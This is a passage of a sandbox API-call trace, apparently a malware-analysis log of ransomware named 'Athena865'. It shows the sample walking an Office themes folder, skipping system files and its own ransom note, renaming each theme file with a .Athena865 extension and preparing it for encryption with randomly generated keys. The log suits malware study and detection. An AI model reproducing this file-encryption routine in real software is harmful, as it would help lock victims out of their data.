| out: hHeap=0x4f0000) returned 1 [0065.469] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2=".") returned 1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="..") returned 1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="windows") returned -1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="bootmgr") returned 1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="temp") returned -1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="pagefile.sys") returned -1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="boot") returned 1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="ids.txt") returned -1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="ntuser.dat") returned -1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="perflogs") returned -1 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2="MSBuild") returned -1 [0065.469] lstrlenW (lpString="Concourse.thmx") returned 14 [0065.469] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Concourse.thmx" | out: lpString1="Concourse.thmx") returned="Concourse.thmx" [0065.469] lstrlenW (lpString="Concourse.thmx") returned 14 [0065.469] lstrlenW (lpString="Athena865") returned 9 [0065.469] lstrcmpiW (lpString1="urse.thmx", lpString2="Athena865") returned 1 [0065.469] lstrlenW (lpString=".dll") returned 4 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2=".dll") returned 1 [0065.469] lstrlenW (lpString=".lnk") returned 4 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2=".lnk") returned 1 [0065.469] lstrlenW (lpString=".ini") returned 4 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2=".ini") returned 1 [0065.469] lstrlenW (lpString=".sys") returned 4 [0065.469] lstrcmpiW (lpString1="Concourse.thmx", lpString2=".sys") returned 1 [0065.469] lstrlenW (lpString="Concourse.thmx") returned 14 [0065.469] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.Athena865") returned 77 [0065.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.athena865"), dwFlags=0x1) returned 1 [0065.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.471] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=74765) returned 1 [0065.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.471] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.472] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.472] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.472] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12710, lpName=0x0) returned 0x17c [0065.474] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12710) returned 0x100000 [0065.477] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.478] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.478] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.479] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.479] CloseHandle (hObject=0x17c) returned 1 [0065.480] CloseHandle (hObject=0x154) returned 1 [0065.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.480] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2=".") returned 1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="..") returned 1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="windows") returned -1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="bootmgr") returned 1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="temp") returned -1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="pagefile.sys") returned -1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="boot") returned 1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="ids.txt") returned -1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="ntuser.dat") returned -1 [0065.480] lstrcmpiW (lpString1="Couture.thmx", lpString2="perflogs") returned -1 [0065.481] lstrcmpiW (lpString1="Couture.thmx", lpString2="MSBuild") returned -1 [0065.481] lstrlenW (lpString="Couture.thmx") returned 12 [0065.481] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Couture.thmx" | out: lpString1="Couture.thmx") returned="Couture.thmx" [0065.481] lstrlenW (lpString="Couture.thmx") returned 12 [0065.481] lstrlenW (lpString="Athena865") returned 9 [0065.481] lstrcmpiW (lpString1="ture.thmx", lpString2="Athena865") returned 1 [0065.481] lstrlenW (lpString=".dll") returned 4 [0065.481] lstrcmpiW (lpString1="Couture.thmx", lpString2=".dll") returned 1 [0065.481] lstrlenW (lpString=".lnk") returned 4 [0065.481] lstrcmpiW (lpString1="Couture.thmx", lpString2=".lnk") returned 1 [0065.481] lstrlenW (lpString=".ini") returned 4 [0065.481] lstrcmpiW (lpString1="Couture.thmx", lpString2=".ini") returned 1 [0065.481] lstrlenW (lpString=".sys") returned 4 [0065.481] lstrcmpiW (lpString1="Couture.thmx", lpString2=".sys") returned 1 [0065.481] lstrlenW (lpString="Couture.thmx") returned 12 [0065.481] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.Athena865") returned 75 [0065.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.athena865"), dwFlags=0x1) returned 1 [0065.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.482] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2003652) returned 1 [0065.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.483] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.484] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.484] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.484] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e95d0, lpName=0x0) returned 0x17c [0065.486] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e95d0) returned 0x2d50000 [0065.557] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.557] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.557] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.584] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0065.584] lstrcmpiW (lpString1="Elemental.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.584] lstrcmpiW (lpString1="Elemental.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.584] lstrcmpiW (lpString1="Elemental.thmx", lpString2=".") returned 1 [0065.584] lstrcmpiW (lpString1="Elemental.thmx", lpString2="..") returned 1 [0065.584] lstrcmpiW (lpString1="Elemental.thmx", lpString2="windows") returned -1 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2="bootmgr") returned 1 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2="temp") returned -1 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2="pagefile.sys") returned -1 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2="boot") returned 1 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2="ids.txt") returned -1 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2="ntuser.dat") returned -1 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2="perflogs") returned -1 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2="MSBuild") returned -1 [0065.585] lstrlenW (lpString="Elemental.thmx") returned 14 [0065.585] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Elemental.thmx" | out: lpString1="Elemental.thmx") returned="Elemental.thmx" [0065.585] lstrlenW (lpString="Elemental.thmx") returned 14 [0065.585] lstrlenW (lpString="Athena865") returned 9 [0065.585] lstrcmpiW (lpString1="ntal.thmx", lpString2="Athena865") returned 1 [0065.585] lstrlenW (lpString=".dll") returned 4 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2=".dll") returned 1 [0065.585] lstrlenW (lpString=".lnk") returned 4 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2=".lnk") returned 1 [0065.585] lstrlenW (lpString=".ini") returned 4 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2=".ini") returned 1 [0065.585] lstrlenW (lpString=".sys") returned 4 [0065.585] lstrcmpiW (lpString1="Elemental.thmx", lpString2=".sys") returned 1 [0065.585] lstrlenW (lpString="Elemental.thmx") returned 14 [0065.585] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.Athena865") returned 77 [0065.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.athena865"), dwFlags=0x1) returned 1 [0065.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.587] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=349663) returned 1 [0065.587] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.588] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.588] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.588] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x558e0, lpName=0x0) returned 0x17c [0065.592] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x558e0) returned 0x2d50000 [0065.604] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.605] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.605] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.609] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0065.609] lstrcmpiW (lpString1="Equity.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.609] lstrcmpiW (lpString1="Equity.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2=".") returned 1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="..") returned 1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="windows") returned -1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="bootmgr") returned 1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="temp") returned -1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="pagefile.sys") returned -1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="boot") returned 1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="ids.txt") returned -1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="ntuser.dat") returned -1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="perflogs") returned -1 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2="MSBuild") returned -1 [0065.610] lstrlenW (lpString="Equity.thmx") returned 11 [0065.610] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Equity.thmx" | out: lpString1="Equity.thmx") returned="Equity.thmx" [0065.610] lstrlenW (lpString="Equity.thmx") returned 11 [0065.610] lstrlenW (lpString="Athena865") returned 9 [0065.610] lstrcmpiW (lpString1="uity.thmx", lpString2="Athena865") returned 1 [0065.610] lstrlenW (lpString=".dll") returned 4 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2=".dll") returned 1 [0065.610] lstrlenW (lpString=".lnk") returned 4 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2=".lnk") returned 1 [0065.610] lstrlenW (lpString=".ini") returned 4 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2=".ini") returned 1 [0065.610] lstrlenW (lpString=".sys") returned 4 [0065.610] lstrcmpiW (lpString1="Equity.thmx", lpString2=".sys") returned 1 [0065.610] lstrlenW (lpString="Equity.thmx") returned 11 [0065.610] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.Athena865") returned 74 [0065.610] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.athena865"), dwFlags=0x1) returned 1 [0065.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.612] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=69473) returned 1 [0065.612] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.613] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.613] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.613] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11270, lpName=0x0) returned 0x17c [0065.614] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11270) returned 0x100000 [0065.617] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.618] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.618] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.619] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1 [0065.619] lstrcmpiW (lpString1="Essential.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.619] lstrcmpiW (lpString1="Essential.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.619] lstrcmpiW (lpString1="Essential.thmx", lpString2=".") returned 1 [0065.619] lstrcmpiW (lpString1="Essential.thmx", lpString2="..") returned 1 [0065.619] lstrcmpiW (lpString1="Essential.thmx", lpString2="windows") returned -1 [0065.619] lstrcmpiW (lpString1="Essential.thmx", lpString2="bootmgr") returned 1 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2="temp") returned -1 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2="pagefile.sys") returned -1 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2="boot") returned 1 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2="ids.txt") returned -1 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2="ntuser.dat") returned -1 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2="perflogs") returned -1 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2="MSBuild") returned -1 [0065.620] lstrlenW (lpString="Essential.thmx") returned 14 [0065.620] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Essential.thmx" | out: lpString1="Essential.thmx") returned="Essential.thmx" [0065.620] lstrlenW (lpString="Essential.thmx") returned 14 [0065.620] lstrlenW (lpString="Athena865") returned 9 [0065.620] lstrcmpiW (lpString1="tial.thmx", lpString2="Athena865") returned 1 [0065.620] lstrlenW (lpString=".dll") returned 4 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2=".dll") returned 1 [0065.620] lstrlenW (lpString=".lnk") returned 4 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2=".lnk") returned 1 [0065.620] lstrlenW (lpString=".ini") returned 4 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2=".ini") returned 1 [0065.620] lstrlenW (lpString=".sys") returned 4 [0065.620] lstrcmpiW (lpString1="Essential.thmx", lpString2=".sys") returned 1 [0065.620] lstrlenW (lpString="Essential.thmx") returned 14 [0065.620] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.Athena865") returned 77 [0065.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.athena865"), dwFlags=0x1) returned 1 [0065.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.622] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49784) returned 1 [0065.622] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.622] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.622] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.622] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc580, lpName=0x0) returned 0x17c [0065.624] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc580) returned 0x100000 [0065.626] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.627] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.627] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.628] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", 